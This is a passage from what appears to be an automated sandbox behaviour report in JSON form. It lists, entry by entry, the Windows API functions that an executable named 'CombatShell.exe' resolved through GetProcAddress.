\"GetProcAddress\" with a parameter WakeConditionVariable (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WakeAllConditionVariable (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SleepConditionVariableCS (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter InitializeSRWLock (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SleepConditionVariableSRW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateThreadpoolWork (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SubmitThreadpoolWork (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CloseThreadpoolWork (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CompareStringEx (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetLocaleInfoEx (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter AreFileApisANSI (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RtlGetVersion (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CoCreateInstance (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CoCreateInstanceEx (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CoGetClassObject (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetThreadDescription (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetProcessDpiAwarenessContext (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetDpiForMonitor (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetDpiForWindow (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetWindowCompositionAttribute (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter EnableNonClientDpiScaling (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter AdjustWindowRectExForDpi (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter AcquireSRWLockShared (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ReleaseSRWLockShared (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter IsWow64Process (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvValidateVersion (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvSetCallbackProcs (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvCreateContext (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvDeleteContext (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvSetContext (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvReleaseContext (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvCopyContext (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WaitOnAddress (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvCreateLayerContext (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WakeByAddressSingle (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvShareLists (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvGetProcAddress (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvDescribeLayerPlane (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvSetLayerPaletteEntries (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvGetLayerPaletteEntries (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvRealizeLayerPalette (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvSwapLayerBuffers (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvSwapMultipleBuffers (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvDescribePixelFormat (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvSetPixelFormat (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvSwapBuffers (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvPresentBuffers (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter VM3DGLHelperInit (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter VM3DGLHelperCleanup (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter VM3DGLHelperSetLogLevels (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter VM3DGLHelperLog (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter VM3DGLHelperGetDevCapMaxCount (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter IsWow64Process2 (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTCreateAllocation (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTDestroyAllocation (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSetAllocationPriority (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTQueryAllocationResidency (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTQueryResourceInfo (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTOpenResource (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTCreateDevice (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTDestroyDevice (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTQueryAdapterInfo (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTLock (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTUnlock (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTGetDisplayModeList (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSetDisplayMode (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTGetMultisampleMethodList (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTPresent (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTRender (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTOpenAdapterFromHdc (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTOpenAdapterFromDeviceName (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTCloseAdapter (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTGetSharedPrimaryHandle (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTEscape (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSetVidPnSourceOwner (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTCreateOverlay (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTUpdateOverlay (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTFlipOverlay (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTDestroyOverlay (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTWaitForVerticalBlankEvent (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSetGammaRamp (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTGetDeviceState (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTCreateDCFromMemory (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTDestroyDCFromMemory (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSetContextSchedulingPriority (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTGetContextSchedulingPriority (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSetProcessSchedulingPriorityClass (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTGetProcessSchedulingPriorityClass (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTReleaseProcessVidPnSourceOwners (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTGetScanLine (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTPollDisplayChildren (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSetQueuedLimit (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTInvalidateActiveVidPn (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTCheckOcclusion (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTCreateContext (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTDestroyContext (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTCreateSynchronizationObject (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTDestroySynchronizationObject (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTWaitForSynchronizationObject (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSignalSynchronizationObject (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTCheckMonitorPowerState (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTOpenAdapterFromGdiDisplayName (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTCheckExclusiveOwnership (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSetDisplayPrivateDriverFormat (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSharedPrimaryLockNotification (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSharedPrimaryUnLockNotification (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter AppPolicyGetThreadInitializationType (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter wglCreateContext (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter wglDeleteContext (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter glCopyBufferSubDataNV (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter glGetnCompressedTexImage (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter glGetnTexImage (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter glGetnUniformdv (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter NtAllocateVirtualMemory (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RoOriginateErrorW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FormatMessageW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetLastError (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter LoadLibraryExA (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetErrorInfo (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetErrorInfo (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetProcessHeap (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter HeapAlloc (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter HeapFree (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SysAllocStringLen (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SysFreeString (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SysStringLen (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter __register_frame (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter __deregister_frame (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RtlAdjustPrivilege (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptAcquireContextW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptDestroyKey (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptImportKey (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptReleaseContext (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DuplicateToken (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetTokenInformation (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetUserNameW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ImpersonateAnonymousToken (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ImpersonateLoggedOnUser (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter OpenProcessToken (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegCloseKey (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegCreateKeyExA (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegCreateKeyExW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegEnumKeyExW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegEnumValueW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegOpenKeyExW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegQueryInfoKeyW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegQueryValueExW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegSetValueExA (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RevertToSelf (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertAddCertificateContextToStore (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertAddEncodedCTLToStore (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertAddEncodedCertificateToStore (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertCloseStore (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertCreateCTLEntryFromCertificateContextProperties (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertCreateCertificateContext (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertDeleteCertificateFromStore (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertDuplicateCertificateChain (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertDuplicateCertificateContext (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertDuplicateStore (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertEnumCertificatesInStore (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertFreeCTLContext (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertFreeCertificateChain (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertFreeCertificateContext (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertGetCertificateChain (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertGetCertificateContextProperty (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertGetEnhancedKeyUsage (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertOpenStore (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertSetCertificateContextProperty (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertVerifyTimeValidity (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptAcquireCertificatePrivateKey (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptBinaryToStringA (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptDecodeObjectEx (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptEncodeObjectEx (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptHashCertificate (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptMsgEncodeAndSignCTL (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptStringToBinaryA (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter PFXExportCertStore (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter PFXImportCertStore (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateDCW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateDIBitmap (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DeleteDC (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DeleteObject (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetDIBits (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetDeviceCaps (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetObjectW (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter AddVectoredExceptionHandler (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CancelIo (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CancelIoEx (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CloseHandle (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CompareStringOrdinal (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ConnectNamedPipe (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CopyFileExW (UID: 